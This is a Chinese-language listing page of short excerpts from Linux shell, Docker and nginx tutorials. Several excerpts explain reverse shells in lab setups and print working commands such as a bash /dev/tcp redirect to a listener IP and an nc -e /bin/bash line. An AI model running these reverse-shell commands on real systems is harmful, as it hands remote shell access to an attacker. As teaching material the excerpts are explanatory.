Shell文本处理三剑客之sed的使用

sed 是 stream editor 的缩写,流编辑器,主要用于对标准输出或文件进行处理。
语法:stdout | sed [option] "pattern command"sed [option] "pattern command" file1常用选项(opt...

2021-01-26

shell字符串截取报错:Bad substitution的解决

问题重现:当前系统Ubuntu16shell进行字符串截取运行 ${GIT_COMMIT:0:6}报错:
/tmp/jenkins7505855461406722507.sh: 4: /tmp/jenkins7505855461406722507.sh: Bad substitutio...

2021-01-26

Linux Shell脚本中获取本机ip地址方法

方法一:ifconfig -a
ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"命令解析 ifconfig -a      和window下执行此命令一样...

2021-01-26

详解NC反弹shell的几种方法

假如ubuntu、CentOS为目标服务器系统kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用最终是将ubuntu、CentOS的shell反弹到kali上正向反弹shell
ubuntu或者CentOS...

2021-01-26

shell之定时周期性执行脚本的方法示例

示例
1.编写测试脚本脚本 time .sh
$ cat time.sh #! /bin/bashecho $(date +%s) >> /home/ocean/out.txt保存完毕后记得给予权限 chmod 777 test.sh
2.添加定时任务
$ cron...

2021-01-26

shell语言date的用法实例

今天没干什么正事儿,都开了会了,写点儿关于shell脚本语言的知识吧,这个也是前两天完成一个业务方的需求的时候使用到的方法,分享出来,希望对大家有点用吧。 首先,我们来看,da...

2021-01-26

Linux 通过 autojump 命令减少 cd 命令的使用的实现方法

Linux - 通过 autojump 命令减少 cd 命令的使用1、安装 autojumpgit clone git://github.com/joelthelion/autojump.git安装cd autojump./install.py卸载cd autojump./unins...

2021-01-26

shell脚本实现磁盘监控系统

利用shell脚本实现每隔60秒磁盘内存数据监控#!/bin/bash#Author:GaoHongYu#QQ:1061767621#Time:2019-12-24 18:43:22#Name:ncjk.sh#Version:V1.0clearxtip=$(hostname -I)cp...

2021-01-26

浅析Linux之bash反弹shell原理

环境攻击机:kali ip:192.168.25.144靶 机:centos ip:192.168.25.142过程kali 监听本地8888端口靶机 centos 写入 反弹shell 的命令bash -i >& /dev/tcp/192....

2021-01-26

详解shell中脚本参数传递的两种方式

方式一:$0,$1,$2..采用$0,$1,$2..等方式获取脚本命令行传入的参数,值得注意的是,$0获取到的是脚本路径以及脚本名,后面按顺序获取参数,当参数超过10个时(包括10个),需要使用${10},...

2021-01-26

Shell用sed命令删除特定行的方法

sed命令作为一个强大的shell命令,可以快速删除任意特定的行列,配合awk命令可以轻松地操作批量处理文件,下面就来看看吧!sed命令常用到的两个选项: -i : 直接在文件上编辑 (edit f...

2021-01-26

Linux Shell 如何获取参数的方法

$# 是传给脚本的参数个数
$0 是脚本本身的名字
$1 是传递给该shell脚本的第一个参数
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字...

2021-01-26

详解shell脚本的编写规范

编写shell脚本的一些规范解释器shell脚本一般选择bash作为解释器,脚本开头应为#!/bin/bash或#!/bin/sh添加脚本版本和注释功能在脚本的开头加注释,说明脚本作者、编写时间、脚...

2021-01-26

shell脚本中$符号的命令使用汇总

今天是远程办公的第4天,渐渐的找到了一点在家办公的节奏了,改了几个shell脚本,在改动过程中,发现还有一些知识点需要巩固,这里写出来,加深下印象。 关于$符号,大家肯定都不陌...

2021-01-26

详解shell 函数定义与调用

一、Shell函数定义格式shell函数定义格式,各部分说明如下:[ function ]等中括号括起来部分----表示可选(即可有可无)your_function_name部分----为函数名your_shell_commands部...

2021-01-26

shell脚本实现公司项目部署交付环境预检查的思路

大型项目环境预检查脚本,根据自己实际情况修改脚本中变量,给大家一个思路,转载请注明出处~#!/usr/bin/env bashroot=$( cd $(dirname $0) pwd)source "$root"/dragonrcCPU=$(...

2021-01-26

shell中set指令的用法详解

语法
set [-可选参数] [-o 选项]功能说明set 指令可根据不同的需求来设置当前所使用 shell 的执行方式,同时也可以用来设置或显示 shell 变量的值。当指定某个单一的选项时将...

2021-01-26

shell模糊匹配与正则详解

前言:正则可以实现一些简单的功能,并用在脚本中,如检测ip地址是否符合规范,检测文件名是否符合规范等等。正则表达式
正则表达式主要是用来描述一个句法规则的模式。其实说的通...

2021-01-26

linux自动化交互脚本expect详解

一、介绍expect脚本是Tcl脚本语言的拓展。用来实现自动的交互式任务,无需人为干预。在实际开发中,运行shell脚本有时候会输入linux密码或者是mysql密码等,而expect可以帮我们输...

2021-01-26

Shell退出状态码及其应用详解

Shell 中运行的命令会使用0-255之间的整数值,作为退出状态码,并以此来告知shell该命令执行的状态。通常情况下,约定0代表命令成功结束,非0代表程序非正常退出。...

2021-01-26

一键配置本地yum源的shell脚本

效果如图:代码#!/bin/bash#Author:GaoHongYu#QQ:1061767621#Time:2019-12-26 16:30:19#Name:yumgz.sh#Version:V1.0CKGZ=$( df -Th | grep -o "iso9660" )KJGZ=$( cat /etc/f...

2021-01-26

linux反弹shell的原理详解

完整命令反弹shell命令:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1bash -i > /dev/tcp/ip/port 0>&1 2>&1利用nc反弹shell:nc -lvvp 12345 -t -e /bin/bash原理bash -i > /dev/t...

2021-01-26

Linux 中shell脚本设置开头固定格式的实现方法

Linux 之shell脚本设置开头固定格式
每次进入shell都要设置开头,很麻烦,现修改vim配置文件即可。[root@node01 ~]vim .vimrc 将下列内容复制进文件set ignorecase...

2021-01-26

shell 判断字符串是否存在数组中的实现示例

语法格式: [[ "${array[@]}" =~ "字符串" ]]示例:
#!/bin/sh##数组array=(addressbasecartcompanystore) # $1 如果存在,输出 $1 exists,$1 如果不存在,输出 $1 not existsif [ "...

2021-01-26

linux查看防火墙是否开启

linux看防火墙是否开启、删除iptables规则准备工作首先确认IP为了待会的测试,我们先确认一下linux主机的IP。可以使用ifconfig或ip addr查看。查看系统监听开放的端口,netstat...

2021-01-25

Shell alias给命令设置别名的实现方法

给命令设置别名,你可以把它当作命令的"小名",但是这样做有什么意义呢?比如笔者刚接触 Linux 时,使用的编辑器是 Vi,但是现在 Vim 的功能明显比 Vi 的功能更加强大,所以现在流行的...

2021-01-25

Docker Compose一键ELK部署的方法实现

安装  Filebeat 已经完全替代了 Logstash-Forwarder 成为新一代的日志采集器,因为它更加轻量、安全。基于 Filebeat + ELK 的部署方案架构图如下:  &...

2021-01-25

Docker 动态修改容器端口映射的方法

前言:Docker端口映射往往是Docker Run命令时通过-p将容器内部端口映射到宿主机的指定端口上,一般来说容器的端口所对应的端口是提前确定需要映射的。但是有些情况下不得不需要...

2021-01-24

nginx优化的六点方法

一.优化Nginx并发量[root@proxy ~]# ab -n 2000 -c 2000 http://192.168.4.5/Benchmarking 192.168.4.5 (be patient)socket: Too many open files (24) //提示打开文件...

2021-01-24

grafana安装及使用教程详解

1. 下载grafana并安装1.1 官网下载较慢,在清华镜像站下载下载链接>> https://mirrors.tuna.tsinghua.edu.cn/grafana/yum/rpm/1.2 下载之后上传上传之后查看[root@localhost...

2021-01-24

Prometheus的安装和配置教程详解

1. 从官网选择Prometheus版本进行下载官网地址>> https://github.com/prometheus/prometheus/releases/2. 实验安排在主机192.168.153.137上安装prometheus监控192.168.153....

2021-01-24

本地通过nginx配置反向代理的全过程记录

前言Nginx是一款轻量级的HTTP服务器,采用事件驱动的异步非阻塞处理方式框架,这让其具有极好的IO性能。我们在日常开发中使用到Nginx的主要有以下几个场景: Nginx作为http服务...

2021-01-23

Centos下PHP5升级PHP7的方法

1、首先下载PHP7安装包,使用wget http://am1.php.net/distributions/php-7.2.0.tar.bz2,或者直接访问下载,然后ftp到linux服务器
2、解压压缩包,tar –xjf php-7.0.2.tar....

2021-01-22

linux抓包命令tcpdump有什么用?

简介Linux tcpdump命令用于倾倒网络传输数据。执行tcpdump指令可列出经过指定网络界面的数据包文件头,在Linux操作系统中,你必须是系统管理员。用简单的话来定义tcpdump,就是:du...

2021-01-21

linux密码忘记重置密码的方法

刚开始接触Linux的人,忘记了root密码可能会不知所措。想找回自己的root密码,但是又不知道方法。其实,只需要简单的几步就可以重置自己的root密码了(找回密码我也不会)1.开机之...

2021-01-21

apache 2.2升级到2.4的详细步骤

详细步骤如下:1、官网下载Apache2.42、将下载的Apache解压到要搭配的环境目录3、命令行下进入到apache下面的bin目录,输入 httpd -k install4、安装后报错“ServerRoot m...

2021-01-21

nginx配置https的详细流程

详细配置流程如下:1、下载SSL证书2、两个证书放在cert目录上然后放到nginx 与nginx.conf同目录下3、去nginx解压目录下执行./configure --with-http_ssl_module如果报错 ./co...

2021-01-21

CentOS /RHEL系统怎么更新安全补丁

在 CentOS/RHEL7 系统上配置自动安全更新在 CentOS/RHEL 7/6 系统上,你需要安装下面的安装包:# yum update -y ; yum install yum-cron -y安装完成以后,打开/etc/yum/yum-cron....

2021-01-21

linux系统查看磁盘空间的命令是什么

Linux 查看磁盘空间可以使用 df 和 du 命令。df命令df 以磁盘分区为单位查看文件系统,可以获取硬盘被占用了多少空间,目前还剩下多少空间等信息。例如,我们使用df -h命令来查看...

2021-01-20

nginx网站服务如何配置防盗链(推荐)

一、盗链原理1.1 网页准备Web源主机(192.168.153.20)配置cd /usr/local/nginx/html将preview.jpg图片文件传到/usr/local/nginx/html目录下vim index.html......<img src="pre...

2021-01-19

Docker开启远程访问的实现方式

Docker守护进程套接字Docker守护进程可以通过三种不同类型的套接字监听Docker Engine API请求:unix、tcp和fd。默认情况下,在/var/run/docker.sock处创建一个unix域套接字(或IP...

2021-01-19

使用docker部署dubbo项目的方法步骤

1.首先用springboot构建一个简单的dubbo测试程序,并引入相关依赖编写公共接口api
编写provider实现UserSvice的方法,并暴露服务
编写provider的配置文件

编写Consumer
通过...

2021-01-19

docker端口映射及外部无法访问问题

docker容器内提供服务并监听8888端口,要使外部能够访问,需要做端口映射。docker run -it --rm -p 8888:8888 server:v1此时出现问题,在虚机A上部署后,在A内能够访问8888端口服务...

2021-01-19

Docker打包镜像及修改配置的实现

最近在学习Docker和实际操作中遇到了不少问题,写篇博客记录一下。安装我安装的是windows版的docker desktop,在windows上用docker挺麻烦的,要配置一些东西,在windows上安装docke...

2021-01-19

Docker构建kubectl镜像的实现步骤

假如程序服务是使用 k8s 集成 gitlab ci/cd 方式部署的,在 gitlab-ci 过程中就需要用到 kubeclt 镜像
使用 docker 构建 kubectl 镜像有两种方式方式一 (镜像相对较小一点,45....

2021-01-19

宝塔Windows面板之PHP出现500错误相关问题

PHP出现500错误相关问题PHP版本选择1、部分老程序支持5.2,请自行阅读程序支持的php版本2、如您的程序需要开启opcache/xcache/apc/yac等扩展,请切换至php5.5以上版本,强行安装...

2021-01-18

Linux中自定义shell脚本启动jar包的方法

一键启动、停止、重启 java项目创建.sh文件vi XXX.sh编写shell脚本#!/bin/shport=8080 #定义变量等号左右不能有空格jar_name=/opt/oaclou/XXX.jar#运行脚本提示信息tips(){...

2021-01-18

在docker容器中安装vi命令的简单操作

在使用docker容器时,有时候里边没有安装vim,敲vim命令时提示说:vim: command not found,这个时候就需要安装vim,可是当你敲apt-get install vim命令时,提示:Reading package lists....

2021-01-18

Nginx中break与last的区别详析

先说区别 last,重写后的规则,会继续用重写后的值去匹配下面的location。 break,重写后的规则,不会去匹配下面的location。使用新的规则,直接发起一次http请求了。
Nginx 配置...

2021-01-17

Bottle部署web服务及postman接口的方法

Bottle是一个快速、简洁、轻量级的基于WSIG的微型Web框架,此框架只由一个 .py 文件,除了Python的标准库外,其不依赖任何其他模块。from bottle import route, request, runimpo...

2021-01-16
返回顶部
顶部